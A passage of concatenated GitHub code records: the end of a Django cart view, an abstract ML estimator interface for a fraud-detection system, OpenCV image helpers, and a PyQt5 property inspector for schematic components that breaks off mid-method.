\"\"\"\n cart = Cart.from_session(request)\n cart.clear(request)\n return self.json_response()\n","repo_name":"dskiba/Robin_wedding","sub_path":"src/apps/shop/cart.py","file_name":"cart.py","file_ext":"py","file_size_in_byte":5628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"5485031538","text":"# -*- coding: utf-8 -*-\n\"\"\"Estimator class.\n\nThis class will implement all the ML pipeline logic.\n\nCreated on: 3/10/23\n@author: Heber Trujillo \nLicence,\n\"\"\"\nimport datetime\nfrom abc import (\n ABC,\n abstractmethod,\n)\nfrom typing import (\n Any,\n Dict,\n Optional,\n)\n\nimport pandas as pd\n\nfrom corelib import (\n data_repositories,\n data_schemas,\n)\nfrom corelib.ml import metrics\nfrom corelib.ml.algorithms.algorithm import Algorithm\nfrom corelib.ml.artifact_repositories import ArtifactRepo\nfrom corelib.ml.evaluators.evaluator import Evaluator\nfrom corelib.ml.hyperparam_optim.search_dimension import (\n SKOptHyperparameterDimension, # fmt: skip\n)\nfrom corelib.ml.transformers.transformer_chain import TransformerChain\n\n\nclass Estimator(ABC):\n \"\"\"Estimator Interface.\"\"\"\n\n def __init__(\n self,\n data_repository: Optional[data_repositories.DataRepository],\n evaluator: Optional[Evaluator],\n feature_schemas: data_schemas.BaseSchema,\n target_schema: Optional[data_schemas.BaseSchema],\n timestamp_schema: Optional[data_schemas.BaseSchema],\n customer_id_schema: Optional[data_schemas.BaseSchema],\n algorithm: Algorithm,\n transformer_chain: TransformerChain,\n do_hpo: bool,\n ):\n \"\"\"Instantiate a Base Algorithm.\n\n Args:\n data_repository: Optional[data_repositories.DataRepository]\n Data repository to get the data. Optional for Inference\n evaluator: Optional[Evaluator]\n Ml model evaluator. . Optional for Inference.\n feature_schemas: data_schemas.BaseSchema\n Data schemas that defines feature space.\n target_schema: Optional[data_schemas.BaseSchema]\n Data schemas that defines target. Optional for Inference.\n timestamp_schema: Optional[data_schemas.BaseSchema]\n Time stamp schema for model evaluation.\n customer_id_schema: Optional[data_schemas.BaseSchema],\n customer_id schema for model evaluation.\n algorithm: BaseEstimator\n ML algorithm to tran and test.\n transformer_chain: TransformerChain\n Feature transformer.\n do_hpo: bool\n If True, the estimator will do hyperparameter search.\n \"\"\"\n self.data_repository = data_repository\n self.evaluator = evaluator\n\n self.feature_schemas = feature_schemas\n self.target_schema = target_schema\n self.timestamp_schema = timestamp_schema\n self.customer_id_schema = customer_id_schema\n\n self.algorithm = algorithm\n self.transformer_chain = transformer_chain\n\n self._version = datetime.datetime.now().strftime(\"%Y-%m-%dT%H:%M:%S\")\n\n self.do_hpo = do_hpo\n\n self.hpo_dimension: Optional[\n Dict[str, SKOptHyperparameterDimension]\n ] = None\n\n @abstractmethod\n def creat_model(self) -> Dict[str, Any]:\n \"\"\"Create a model, ml pipeline logic.\n\n Returns:\n Dict[str, Any]:\n Tests results.\n \"\"\"\n raise NotImplementedError\n\n @abstractmethod\n def fit(\n self, data: pd.DataFrame, hyper_parameters: Dict[str, Any]\n ) -> None:\n \"\"\"Fit ML algorithm.\n\n Args:\n data: pd.DataFrame\n Data that will be used to train the algorithm.\n hyper_parameters: Dict[str, Any]\n Hyper parameters.\n\n Returns:\n None\n \"\"\"\n raise NotImplementedError\n\n @abstractmethod\n def predict(self, data: pd.DataFrame) -> metrics.Results:\n \"\"\"Generate model predictions.\n\n Args:\n data: pd.DataFrame\n Data frame that will be used to generate predictions.\n\n Returns:\n metrics.Results\n \"\"\"\n raise NotImplementedError\n\n @abstractmethod\n def evaluate(\n self,\n data: pd.DataFrame,\n hashed_data: str,\n plot_results: bool = False,\n ) -> Dict[str, Any]:\n \"\"\"Evaluate ml model.\n\n Args:\n data: pd.DataFrame\n Data that will be used to evaluate model, usually is the\n testing data.\n hashed_data: str\n Hash representation of the data.\n plot_results: bool\n If True, model results will be plotted.\n\n Returns:\n Dict[str, float]\n \"\"\"\n raise NotImplementedError\n\n def set_model_artifacts(self, integration_test_set: pd.DataFrame) -> None:\n \"\"\"Set model Artifacts.\n\n Args:\n integration_test_set: pd.DataFrame\n This data frame will be used to testing during deployment.\n\n Returns:\n None\n \"\"\"\n integration_test_set[\"predicted\"] = self.predict(\n data=integration_test_set\n ).predictions\n integration_test_set[\"scores\"] = self.predict(\n data=integration_test_set\n ).scores\n\n artifact_repo = ArtifactRepo(\n feature_schemas=self.feature_schemas,\n transformer_chain=self.transformer_chain,\n algorithm=self.algorithm,\n integration_test_set=integration_test_set,\n )\n\n artifact_repo.dump_artifacts()\n\n @abstractmethod\n def optimize_and_fit(\n self,\n data: pd.DataFrame,\n hpo_dimension: Dict[str, SKOptHyperparameterDimension],\n ):\n \"\"\"Perform hyperparameter optimization and fit the final model.\n\n Args:\n data: pd.DataFrame\n Data that will be used to train the algorithm.\n hpo_dimension: Dict[str, skopt.space.Dimension]\n Hyperparameter dimensions.\n\n Returns:\n None\n \"\"\"\n raise NotImplementedError\n\n @abstractmethod\n def hyperparameter_searcher(\n self,\n data: pd.DataFrame,\n hpo_dimension: Dict[str, SKOptHyperparameterDimension],\n ) -> Dict[str, Any]:\n \"\"\"Perform hyperparameter search.\n\n Args:\n data: pd.DataFrame\n Training data.\n hpo_dimension: Dict[str, SKOptHyperparameterDimension]\n\n Returns:\n Dict[str, Any]:\n Best possible hyperparameter values.\n \"\"\"\n raise NotImplementedError\n","repo_name":"HeberTU/fraud-detection-system","sub_path":"corelib/ml/estimators/estimator.py","file_name":"estimator.py","file_ext":"py","file_size_in_byte":6383,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"22614120335","text":"import cv2\nimport os, sys\nfrom glob import glob\nfrom tqdm import tqdm\n\ndef Get_Image_List(data_dir_list):\n data_list = []\n for data_dir in data_dir_list:\n for data_path in glob(f'{data_dir}/*'):\n if os.path.isdir(data_path):\n data_list.extend( glob(f'{data_path}/*') )\n else:\n if data_path.lower().endswith(('.png', '.jpg', '.jpeg', '.tiff', '.bmp', '.gif')):\n data_list.append(data_path)\n\n return data_list\n\n\ndef resize_with_pad(image, \n new_shape, \n padding_color = (255, 255, 255)):\n original_shape = (image.shape[1], image.shape[0])\n ratio = float(max(new_shape))/max(original_shape)\n new_size = tuple([int(x*ratio) for x in original_shape])\n image = cv2.resize(image, new_size)\n delta_w = new_shape[0] - new_size[0]\n delta_h = new_shape[1] - new_size[1]\n top, bottom = delta_h//2, delta_h-(delta_h//2)\n left, right = delta_w//2, delta_w-(delta_w//2)\n image = cv2.copyMakeBorder(image, top, bottom, left, right, cv2.BORDER_CONSTANT, value=padding_color)\n return image\n\ndef load_image_bgr(fn):\n return cv2.imread(fn, cv2.IMREAD_COLOR) # in BGR\n\ndef save_jpeg( savedir, im, is_bgr = True, quality = 100):\n # grayscale or bgr, no color conversion is needed\n #if not os.path.exists()\n if len(im.shape) == 2 or is_bgr:\n cv2.imwrite(savedir, im, [int(cv2.IMWRITE_JPEG_QUALITY), quality])\n else:\n cv2.imwrite(savedir, cv2.cvtColor(im, cv2.COLOR_RGB2BGR), [int(cv2.IMWRITE_JPEG_QUALITY), quality])","repo_name":"JohnsunElement/InitTemplate","sub_path":"common_tools.py","file_name":"common_tools.py","file_ext":"py","file_size_in_byte":1577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"1864310284","text":"import sys\nimport os\nimport re\nimport shutil\n\nfrom cmpmgr import *\n\nfrom PyQt5.Qt import Qt\nfrom PyQt5.QtWidgets import (QApplication, QLineEdit,QComboBox, \n QStyledItemDelegate, QAbstractItemDelegate, \n QTreeWidget, QTreeWidgetItem, QAbstractItemView, QHeaderView, \n QInputDialog, QMessageBox)\n\nfrom PyQt5.Qt import QShortcut, QKeySequence, QStyle\nfrom PyQt5.QtGui import QIcon, QBrush, QColor, QKeyEvent, QPen\nfrom PyQt5.QtCore import QSettings, pyqtSignal, QObject, QEvent, QModelIndex, QItemSelectionModel\n\n#-------------------------------------------------------------------------------\ncolEDIT = 0\ncolNAME = 0\ncolDATA = 1\nMULTIVALUE = '<...>'\n#-------------------------------------------------------------------------------\nclass TComboBox(QComboBox):\n\n def __init__(self, parent):\n super().__init__(parent)\n self.setFocusPolicy(Qt.StrongFocus)\n\n def keyPressEvent(self, e):\n key = e.key()\n mod = e.modifiers()\n if key == Qt.Key_Down or key == Qt.Key_Up:\n if not mod:\n QApplication.sendEvent( self.parent(), e ) \n return\n elif mod == Qt.AltModifier:\n self.showPopup()\n\n QComboBox.keyPressEvent(self, e)\n\n\n def set_index(self, text):\n items = [self.itemText(i) for i in range(self.count()) ]\n self.setCurrentIndex( items.index(text) )\n#------------------------------------------------------------------------------- \nclass Inspector(QTreeWidget):\n \n #--------------------------------------------------------------------------- \n #\n # Title Delegate Delegate Data\n #\n ItemsTable = [ ['Ref', 'TextItemDelegate', None],\n ['LibRef', 'TextItemDelegate', None],\n ['Value', 'TextItemDelegate', None],\n ['Footprint', 'TextItemDelegate', None],\n ['DocSheet', 'TextItemDelegate', None],\n ['X', 'TextItemDelegate', None],\n ['Y', 'TextItemDelegate', None],\n ['Timestamp', 'TextItemDelegate', None] ]\n\n NonFieldProps = [ 'LibRef',\n 'X',\n 'Y',\n 'Timestamp' ]\n \n #--------------------------------------------------------------------------- \n load_field = pyqtSignal( [list], [str] )\n mouse_click = pyqtSignal([str])\n #data_changed = pyqtSignal()\n update_comps = pyqtSignal()\n #--------------------------------------------------------------------------- \n \n#------------------------------------------------------------------------------- \n class InspectorItemsDelegate(QStyledItemDelegate):\n\n TEXT_DELEGATE = 0\n CBOX_DELEGATE = 1\n \n #----------------------------------------------------------------\n def __init__(self, parent):\n super().__init__(parent)\n self.editors = {}\n #----------------------------------------------------------------\n def clear_editor_data(self):\n self.editors = {}\n #---------------------------------------------------------------- \n def add_editor_data(self, name, editor_type, editor_data = []):\n self.editors[name] = [editor_type, editor_data]\n #---------------------------------------------------------------- \n def createEditor(self, parent, option, idx):\n if idx.column() == 1:\n name = idx.sibling(idx.row(), 0).data()\n etype = self.editors[name][0]\n if etype == self.TEXT_DELEGATE:\n editor = QStyledItemDelegate.createEditor(self, parent, option, idx)\n return editor\n else:\n editor = TComboBox(parent)\n editor.setEnabled(True)\n editor.setEditable(True)\n editor.addItems( self.editors[name][1] )\n return editor\n #----------------------------------------------------------------\n def setEditorData(self, editor, idx):\n #print(editor.metaObject().className() )\n name = idx.sibling(idx.row(), 0).data()\n if self.editors[name][0] == self.TEXT_DELEGATE:\n QStyledItemDelegate.setEditorData(self, editor, idx)\n else:\n value = idx.model().data(idx, Qt.EditRole)\n editor.set_index(value)\n #----------------------------------------------------------------\n def setModelData(self, editor, model, idx):\n name = idx.sibling(idx.row(), 0).data()\n if self.editors[name][0] == self.TEXT_DELEGATE:\n QStyledItemDelegate.setModelData(self, editor, model, idx)\n else:\n value = editor.currentText()\n values = self.editors[name][1]\n if value not in values:\n values.append(value)\n\n QStyledItemDelegate.setModelData(self, editor, model, idx)\n #----------------------------------------------------------------\n def paint(self, painter, option, idx):\n painter.save()\n \n # set background color\n painter.setPen(QPen(Qt.NoPen))\n \n if idx.column() == 0:\n ccode = 245\n painter.setBrush(QBrush(QColor(ccode, ccode, ccode)))\n else:\n painter.setBrush(QBrush(Qt.transparent))\n\n if not idx.parent().isValid():\n painter.setBrush(QBrush(QColor(0xFF, 0xDC, 0xA4) ) )\n \n painter.drawRect(option.rect)\n \n # draw the rest\n \n QStyledItemDelegate.paint(self, painter, option, idx)\n \n painter.restore() \n #--------------------------------------------------------------------------- \n def add_property(self):\n print('Inspector::add property')\n text, ok = QInputDialog.getText(self, 'Add Property', 'Enter Property Name')\n \n if len(text) > 0:\n for c in self.comps:\n if not c.field(text):\n f = ComponentField.default(c, text)\n c.add_field(f)\n \n self.load_user_defined_props()\n #--------------------------------------------------------------------------- \n def remove_property(self):\n print('Inspector::delete property')\n \n item = self.currentItem()\n name = item.data(colNAME, Qt.DisplayRole)\n reply = QMessageBox.question(self, 'Delete Property', 'Delete \"' + name + '\" property?' )\n \n if reply == QMessageBox.No:\n return\n\n for c in self.comps:\n f = c.field(name)\n c.remove_field(f)\n\n self.load_user_defined_props()\n #--------------------------------------------------------------------------- \n def rename_property(self):\n print('Inspector::rename property')\n item = self.currentItem()\n name = item.data(colNAME, Qt.DisplayRole)\n print(name)\n text, ok = QInputDialog.getText(self, 'Rename Property', 'Enter New Proterty Name', QLineEdit.Normal, name)\n print(text)\n\n if len(text) > 0:\n for c in self.comps:\n f = c.field(name)\n f.Name = text\n \n self.load_user_defined_props()\n #--------------------------------------------------------------------------- \n def mousePressEvent(self, e):\n self.mouse_click.emit('Inspector')\n QTreeWidget.mousePressEvent(self, e)\n #------------------------------------------------------------------------------- \n def __init__(self, parent):\n super().__init__(parent)\n #self.setAlternatingRowColors(True)\n self.setIndentation(16)\n self.setColumnCount(2)\n self.header().resizeSection(2, 10)\n self.header().setSectionResizeMode(colNAME, QHeaderView.Interactive)\n self.setHeaderLabels( ('Property', 'Value') );\n self.std_items = self.addParent(self, 0, 'Standard', 'slon')\n self.usr_items = self.addParent(self, 0, 'User Defined', 'mamont')\n \n for idx, i in enumerate(self.ItemsTable):\n self.addChild(self.std_items, i[0], '')\n \n self.addChild(self.usr_items, '', '')\n \n self.ItemsDelegate = self.InspectorItemsDelegate(self)\n self.setItemDelegate(self.ItemsDelegate)\n \n self.itemClicked.connect(self.item_clicked)\n self.itemChanged.connect(self.item_changed)\n self.currentItemChanged.connect(self.curr_item_changed)\n self.itemActivated.connect(self.item_activated)\n #--------------------------------------------------------------------------- \n def addParent(self, parent, column, title, data):\n item = QTreeWidgetItem(parent, [title])\n item.setData(column, Qt.UserRole, data)\n item.setExpanded (True)\n item.setFlags(Qt.ItemIsEnabled)\n return item\n #--------------------------------------------------------------------------- \n def addChild(self, parent, title, data, flags=Qt.NoItemFlags):\n item = QTreeWidgetItem(parent, [title])\n item.setData(colDATA, Qt.DisplayRole, data)\n item.setFlags(Qt.ItemIsEnabled | Qt.ItemIsSelectable | Qt.ItemIsEditable | flags)\n return item\n #--------------------------------------------------------------------------- \n def item_row(self, item):\n parent = item.parent()\n \n for i in range( self.topLevelItemCount() ):\n if parent == self.topLevelItem(i):\n row = self.indexFromItem(item, colDATA).row()\n for j in range(i):\n row += self.topLevelItem(j).childCount()\n \n return row\n #--------------------------------------------------------------------------- \n def item_clicked(self, item, col):\n \n param = item.data(colNAME, Qt.DisplayRole)\n comps = self.comps\n if item.parent() == self.topLevelItem(0):\n self.load_field.emit([comps, param])\n \n if item.parent() == self.topLevelItem(1):\n self.load_field.emit([comps, param])\n #--------------------------------------------------------------------------- \n def item_activated(self, item, col):\n self.editItem(item, colDATA)\n #--------------------------------------------------------------------------- \n def item_changed(self, item, col):\n if self.load_cmp_sem:\n return\n \n print(item.data(colNAME, Qt.DisplayRole), item.data(colDATA, Qt.DisplayRole))\n self.save_cmps()\n #self.data_changed.emit() \n #--------------------------------------------------------------------------- \n def curr_item_changed(self, item, prev):\n #print('Inspector::item_changed')\n \n idx = self.indexFromItem(prev, colDATA)\n editor = self.indexWidget(idx)\n \n if editor:\n #print(editor)\n self.commitData(editor)\n self.closeEditor(editor, QAbstractItemDelegate.NoHint)\n\n self.editItem(item, colDATA)\n self.item_clicked(item, colNAME)\n #--------------------------------------------------------------------------- \n def finish_edit(self):\n print('Inspector::finish_edit')\n idx = self.indexFromItem(self.currentItem(), colDATA)\n editor = self.indexWidget(idx)\n\n # print(editor)\n\n if editor:\n #print( self.itemFromIndex(idx).data(colNAME, Qt.DisplayRole) )\n self.commitData(editor)\n self.closeEditor(editor, QAbstractItemDelegate.NoHint)\n \n self.save_cmps()\n #--------------------------------------------------------------------------- \n def prepare_std_props(self, item):\n name = item.data(colNAME, Qt.DisplayRole)\n l = []\n for c in self.comps:\n if name in self.NonFieldProps:\n l.append( getattr(c, name) )\n else:\n #print(c.Ref, name)\n f = c.field(name)\n l.append( getattr(f, 'Text') )\n \n vals = list(set(l))\n vals.sort()\n \n if len(vals) == 0:\n self.ItemsDelegate.add_editor_data(name, self.InspectorItemsDelegate.TEXT_DELEGATE)\n item.setData(colDATA, Qt.DisplayRole, '')\n\n elif len(vals) == 1:\n self.ItemsDelegate.add_editor_data(name, self.InspectorItemsDelegate.TEXT_DELEGATE)\n item.setData(colDATA, Qt.DisplayRole, vals[0])\n\n else:\n vals.insert(0, MULTIVALUE)\n self.ItemsDelegate.add_editor_data(name, self.InspectorItemsDelegate.CBOX_DELEGATE, vals)\n idx = self.indexFromItem(self.currentItem(), colDATA)\n editor = self.indexWidget(idx)\n self.closeEditor(editor, QAbstractItemDelegate.NoHint)\n item.setData(colDATA, Qt.DisplayRole, vals[0])\n #--------------------------------------------------------------------------- \n def reduce_list(self, l):\n l = list(set(l))\n l.sort()\n return l\n #--------------------------------------------------------------------------- \n def user_defined_props(self):\n l = []\n fnames_set = set([ i.Name for i in self.comps[0].Fields[4:]])\n for c in self.comps[1:]:\n fnames_set &= set( [ i.Name for i in c.Fields[4:]] )\n \n fnames = list(fnames_set)\n \n fdict = {}\n for fn in fnames:\n fvalues = []\n for c in self.comps:\n f = c.field(fn)\n if f:\n fvalues.append(f.Text)\n fdict[fn] = self.reduce_list(fvalues)\n \n \n for f in fdict.keys():\n if len(fdict[f]) > 1:\n fdict[f] = self.reduce_list(fdict[f])\n fdict[f].insert(0, MULTIVALUE)\n \n return fdict\n #---------------------------------------------------------------------------\n def load_user_defined_props(self):\n #self.topLevelItem(1).takeChildren()\n if not self.comps:\n return \n \n user_fields = self.user_defined_props() \n\n user_fields_names = list(user_fields.keys())\n user_fields_names.sort()\n \n item_names = []\n for i in range( self.topLevelItem(1).childCount()-1, -1, -1 ): # reverse order to prevent collision with indices when take child\n item = self.topLevelItem(1).child(i)\n item_name = item.data(colNAME, Qt.DisplayRole)\n item_names.append( item_name )\n if item_name not in user_fields_names:\n if item == self.currentItem():\n self.setCurrentItem(self.topLevelItem(1))\n self.topLevelItem(1).takeChild(i)\n \n for name in user_fields_names:\n if name not in item_names:\n item = self.addChild(self.usr_items, name, user_fields[name][0])\n else:\n for i in range( self.topLevelItem(1).childCount() ):\n item = self.topLevelItem(1).child(i)\n if item.data(colNAME, Qt.DisplayRole) == name:\n break\n\n vals = user_fields[name]\n if len(vals) == 1:\n self.ItemsDelegate.add_editor_data(name, self.InspectorItemsDelegate.TEXT_DELEGATE)\n else:\n self.ItemsDelegate.add_editor_data(name, self.InspectorItemsDelegate.CBOX_DELEGATE, vals)\n \n item.setData(colDATA, Qt.DisplayRole, vals[0])\n #---------------------------------------------------------------------------\n def load_cmp(self, cmps):\n #print('Inspector::load_cmp')\n \n self.load_cmp_sem = True\n #-------------------------------------\n #\n # Create selected components list including component parts\n #\n comps = []\n for c in cmps:\n if len(c) > 1:\n comps += c\n else:\n comps.append(c[0])\n \n self.comps = comps\n self.ItemsDelegate.clear_editor_data()\n \n for i in range( self.topLevelItem(0).childCount() ):\n item = self.topLevelItem(0).child(i)\n self.prepare_std_props(item)\n \n self.load_user_defined_props() \n curr_item = self.currentItem() \n if curr_item:\n self.item_clicked(curr_item, colNAME)\n \n self.load_cmp_sem = False\n #--------------------------------------------------------------------------- \n def save_cmps(self):\n print('Inspector::save_cmps')\n if not hasattr(self, 'comps'):\n return\n\n for c in self.comps:\n subst_list = []\n item_list = []\n #---------------------------------------------\n #\n # Collect items\n # \n for i in range( self.topLevelItem(0).childCount() ):\n item_list.append( self.topLevelItem(0).child(i) )\n \n for i in range( self.topLevelItem(1).childCount() ):\n item_list.append( self.topLevelItem(1).child(i) )\n \n #---------------------------------------------\n #\n # Process items\n # \n for item in item_list:\n \n item_name = item.data(colNAME, Qt.DisplayRole)\n item_value = item.data(colDATA, Qt.DisplayRole)\n \n if item_name[0] == '@':\n if item_value != MULTIVALUE:\n subst_list.append( [item_name[1:], item_value] )\n c.field(item_name).Text = item_value\n else:\n subst_list.append( [item_name[1:], c.field(item_name).Text] )\n \n #print(c.Ref, item_name, item_value)\n continue\n \n if '$' in item_value:\n subst_list.append( [item_name, item_value] )\n continue\n \n if item_value != MULTIVALUE:\n if item_name in self.NonFieldProps:\n setattr(c, item_name, item_value)\n else:\n f = c.field(item_name)\n f.Text = item_value\n \n #---------------------------------------------\n #\n # Pattern substitution\n # \n for s in subst_list:\n item_name = s[0]\n item_value = c.get_str_from_pattern( s[1] )\n if item_name in self.NonFieldProps:\n setattr(c, item_name, item_value)\n else:\n f = c.field(item_name)\n f.Text = item_value\n \n #s[2].setData(colDATA, Qt.DisplayRole, item_value)\n\n \n self.update_comps.emit()\n#------------------------------------------------------------------------------- \nclass FieldInspector(QTreeWidget):\n \n mouse_click = pyqtSignal([str])\n data_changed = pyqtSignal()\n \n #--------------------------------------------------------------------------- \n class TextItemDelegate(QStyledItemDelegate):\n\n\n def __init__(self, parent, values):\n super().__init__(parent)\n\n def createEditor(self, parent, option, idx):\n if idx.column() == 1:\n return QStyledItemDelegate.createEditor(self, parent, option, idx)\n \n #--------------------------------------------------------------------------- \n class CBoxItemDelegate(QStyledItemDelegate):\n\n def __init__(self, parent, values, editable=False):\n super().__init__(parent)\n self.values = values\n self.editable = editable\n\n def createEditor(self, parent, option, idx):\n if idx.column() == 1:\n editor = TComboBox(parent)\n editor.setEnabled(True)\n editor.setEditable(self.editable)\n editor.addItems( self.values )\n #editor.setFocusPolicy(Qt.ClickFocus)\n return editor\n\n def setEditorData(self, editor, idx):\n #print(editor.metaObject().className() )\n value = idx.model().data(idx, Qt.EditRole)\n editor.set_index(value)\n \n def setModelData(self, editor, model, idx):\n value = editor.currentText()\n if value not in self.values:\n self.values.append(value)\n\n QStyledItemDelegate.setModelData(self, editor, model, idx)\n #--------------------------------------------------------------------------- \n class FieldInspectorItemsDelegate(QStyledItemDelegate):\n\n TEXT_DELEGATE = 0\n CBOX_DELEGATE = 1\n #----------------------------------------------------------------\n def __init__(self, parent):\n super().__init__(parent)\n self.editors = {}\n #----------------------------------------------------------------\n def clear_editor_data(self):\n self.editors = {}\n #----------------------------------------------------------------\n def add_editor_data(self, name, editor_type, editor_data = []):\n self.editors[name] = [editor_type, editor_data]\n #----------------------------------------------------------------\n def createEditor(self, parent, option, idx):\n if idx.column() == 1:\n name = idx.sibling(idx.row(), 0).data()\n etype = self.editors[name][0]\n if etype == self.TEXT_DELEGATE:\n editor = QStyledItemDelegate.createEditor(self, parent, option, idx)\n return editor\n else:\n editor = TComboBox(parent)\n editor.setEnabled(True)\n editor.setEditable(True)\n editor.addItems( self.editors[name][1] )\n return editor\n #----------------------------------------------------------------\n def setEditorData(self, editor, idx):\n #print(editor.metaObject().className() )\n name = idx.sibling(idx.row(), 0).data()\n if self.editors[name][0] == self.TEXT_DELEGATE:\n QStyledItemDelegate.setEditorData(self, editor, idx)\n else:\n value = idx.model().data(idx, Qt.EditRole)\n editor.set_index(value)\n #----------------------------------------------------------------\n def setModelData(self, editor, model, idx):\n name = idx.sibling(idx.row(), 0).data()\n if self.editors[name][0] == self.TEXT_DELEGATE:\n QStyledItemDelegate.setModelData(self, editor, model, idx)\n else:\n value = editor.currentText()\n values = self.editors[name][1]\n if value not in values:\n values.append(value)\n\n QStyledItemDelegate.setModelData(self, editor, model, idx)\n #---------------------------------------------------------------- \n def paint(self, painter, option, idx):\n painter.save()\n\n # set background color\n painter.setPen(QPen(Qt.NoPen))\n\n if idx.column() == 0:\n ccode = 245\n painter.setBrush(QBrush(QColor(ccode, ccode, ccode)))\n else:\n painter.setBrush(QBrush(Qt.transparent))\n\n if not idx.parent().isValid():\n painter.setBrush(QBrush(QColor(0xFF, 0xDC, 0xA4) ) )\n\n painter.drawRect(option.rect)\n\n # draw the rest\n\n QStyledItemDelegate.paint(self, painter, option, idx)\n\n painter.restore() \n #---------------------------------------------------------------------------\n #\n # Title Field Name Delegate Delegate Data\n #\n ItemsTable = [ ['X', 'X', 'TextItemDelegate', None],\n ['Y', 'Y', 'TextItemDelegate', None],\n ['Orientation', 'Orientation', 'CBoxItemDelegate', ['Horizontal', 'Vertical']],\n ['Visible', 'Visible', 'CBoxItemDelegate', ['Yes', 'No']],\n ['Horizontal Align', 'HJustify', 'CBoxItemDelegate', ['Left', 'Center', 'Right']],\n ['Vertical Align', 'VJustify', 'CBoxItemDelegate', ['Top', 'Center', 'Bottom']],\n ['Font Size', 'FontSize', 'TextItemDelegate', None],\n ['Font Bold', 'FontBold', 'CBoxItemDelegate', ['Yes', 'No']],\n ['Font Italic', 'FontItalic', 'CBoxItemDelegate', ['Yes', 'No']] ]\n \n ItemsParamNameMap =\\\n {\n 'X' : [ 'X' ],\n 'Y' : [ 'Y' ], \n 'Orientation' : [ 'Orientation', ['Horizontal', 'Vertical'] ],\n 'Visible' : [ 'Visible', ['Yes', 'No'] ],\n 'Horizontal Align' : [ 'HJustify', ['Left', 'Center', 'Right'] ],\n 'Vertical Align' : [ 'VJustify', ['Top', 'Center', 'Bottom'] ],\n 'Font Size' : [ 'FontSize' ],\n 'Font Bold' : [ 'FontBold', ['Yes', 'No'] ],\n 'Font Italic' : [ 'FontItalic', ['Yes', 'No'] ]\n }\n #--------------------------------------------------------------------------- \n class TreeWidgetItem(QTreeWidgetItem):\n \n def __init__(self, parent, title):\n super().__init__(parent, title)\n \n def focusOutEvent(self, event):\n print('TreeItem::focusOutEvetnevent ' + str(event))\n #--------------------------------------------------------------------------- \n class EventFilter(QObject):\n def __init__(self, parent):\n super().__init__(parent)\n\n def eventFilter(self, obj, e):\n if e.type() == QEvent.KeyPress:\n \n if e.key() == Qt.Key_Down or e.key() == Qt.Key_Up:\n action = QAbstractItemView.MoveDown if e.key() == Qt.Key_Down else QAbstractItemView.MoveUp\n idx = obj.moveCursor(action, Qt.NoModifier)\n item = obj.itemFromIndex(idx)\n obj.setCurrentItem(item)\n return True\n\n \n if e.type() == QEvent.Leave:\n print('======== mouse leave')\n # self.parent().finish_edit()\n return False\n \n return False\n #------------------------------------------------------------------------------- \n def mousePressEvent(self, e):\n self.mouse_click.emit('FieldInspector')\n QTreeWidget.mousePressEvent(self, e)\n #------------------------------------------------------------------------------- \n def __init__(self, parent):\n super().__init__(parent)\n \n self.installEventFilter(self.EventFilter(self))\n \n self.setIndentation(16)\n self.setColumnCount(2)\n self.header().resizeSection(2, 10)\n self.header().setSectionResizeMode(colNAME, QHeaderView.Interactive)\n self.setHeaderLabels( ('Field Name', 'Value' ) );\n self.setHeaderHidden(True)\n self.setFocusPolicy(Qt.WheelFocus)\n \n self.field_items = self.addParent(self, 0, 'Field Parameters', '')\n \n for idx, i in enumerate(self.ItemsTable):\n self.addChild(self.field_items, i[0], '')\n \n self.ItemsDelegate = self.FieldInspectorItemsDelegate(self)\n self.setItemDelegate(self.ItemsDelegate)\n \n self.itemClicked.connect(self.item_clicked)\n self.itemPressed.connect(self.item_pressed)\n self.itemChanged.connect(self.item_changed)\n self.currentItemChanged.connect(self.curr_item_changed)\n self.itemActivated.connect(self.item_activated)\n \n self.field = None\n #--------------------------------------------------------------------------- \n def addParent(self, parent, column, title, data):\n item = QTreeWidgetItem(parent, [title])\n item.setData(column, Qt.UserRole, data)\n item.setExpanded (True)\n item.setFlags(Qt.ItemIsEnabled)\n return item\n #--------------------------------------------------------------------------- \n def addChild(self, parent, title, data, flags=Qt.NoItemFlags):\n item = self.TreeWidgetItem(parent, [title])\n item.setData(colDATA, Qt.DisplayRole, data)\n item.setFlags(Qt.ItemIsEnabled | Qt.ItemIsSelectable | Qt.ItemIsEditable | flags)\n return item\n #--------------------------------------------------------------------------- \n# def keyPressEvent(self, e):\n# if e.key() == Qt.Key_Down or e.key() == Qt.Key_Up:\n# action = QAbstractItemView.MoveDown if e.key() == Qt.Key_Down else QAbstractItemView.MoveUp\n# print('Down') if e.key() == Qt.Key_Down else print('Up')\n# idx = self.moveCursor(action, Qt.NoModifier)\n# item = self.itemFromIndex(idx)\n# self.setCurrentItem(item)\n# else:\n# QTreeWidget.keyPressEvent(self, e)\n \n #--------------------------------------------------------------------------- \n def item_clicked(self, item, col):\n self.select_item(item) \n \n #--------------------------------------------------------------------------- \n def item_pressed(self, item, col):\n self.select_item(item)\n #--------------------------------------------------------------------------- \n def item_changed(self, item, col):\n if self.load_field_sem:\n return\n\n self.save_fields()\n self.data_changed.emit() \n #--------------------------------------------------------------------------- \n def curr_item_changed(self, item, prev):\n \n if not item.data(colDATA, Qt.DisplayRole):\n return \n \n idx = self.indexFromItem(prev, colDATA)\n editor = self.indexWidget(idx)\n \n if editor:\n self.commitData(editor)\n self.closeEditor(editor, QAbstractItemDelegate.NoHint)\n \n \n self.editItem(item, colDATA)\n self.handle_item(item) \n self.item_clicked(item, colNAME)\n #--------------------------------------------------------------------------- \n def item_activated(self, item, col):\n if not item.data(colDATA, Qt.DisplayRole):\n return \n\n self.editItem(item, colDATA)\n #--------------------------------------------------------------------------- \n def select_item(self, item):\n pass\n #self.setCurrentItem(item, colNAME)\n #self.selectionModel().setCurrentIndex(self.currentIndex(), QItemSelectionModel.ClearAndSelect)\n \n #--------------------------------------------------------------------------- \n def load_field_slot(self, d):\n self.comps = d[0]\n self.param = d[1]\n \n self.load_field()\n #--------------------------------------------------------------------------- \n def handle_item(self, item):\n if not self.field:\n return \n \n if item.data(colNAME, Qt.DisplayRole) == 'X':\n self.field.X = item.data(colDATA, Qt.DisplayRole)\n\n if item.data(colNAME, Qt.DisplayRole) == 'Y':\n self.field.Y = item.data(colDATA, Qt.DisplayRole)\n #--------------------------------------------------------------------------- \n def finish_edit(self):\n idx = self.indexFromItem(self.currentItem(), colDATA)\n editor = self.indexWidget(idx)\n\n if editor:\n self.commitData(editor)\n 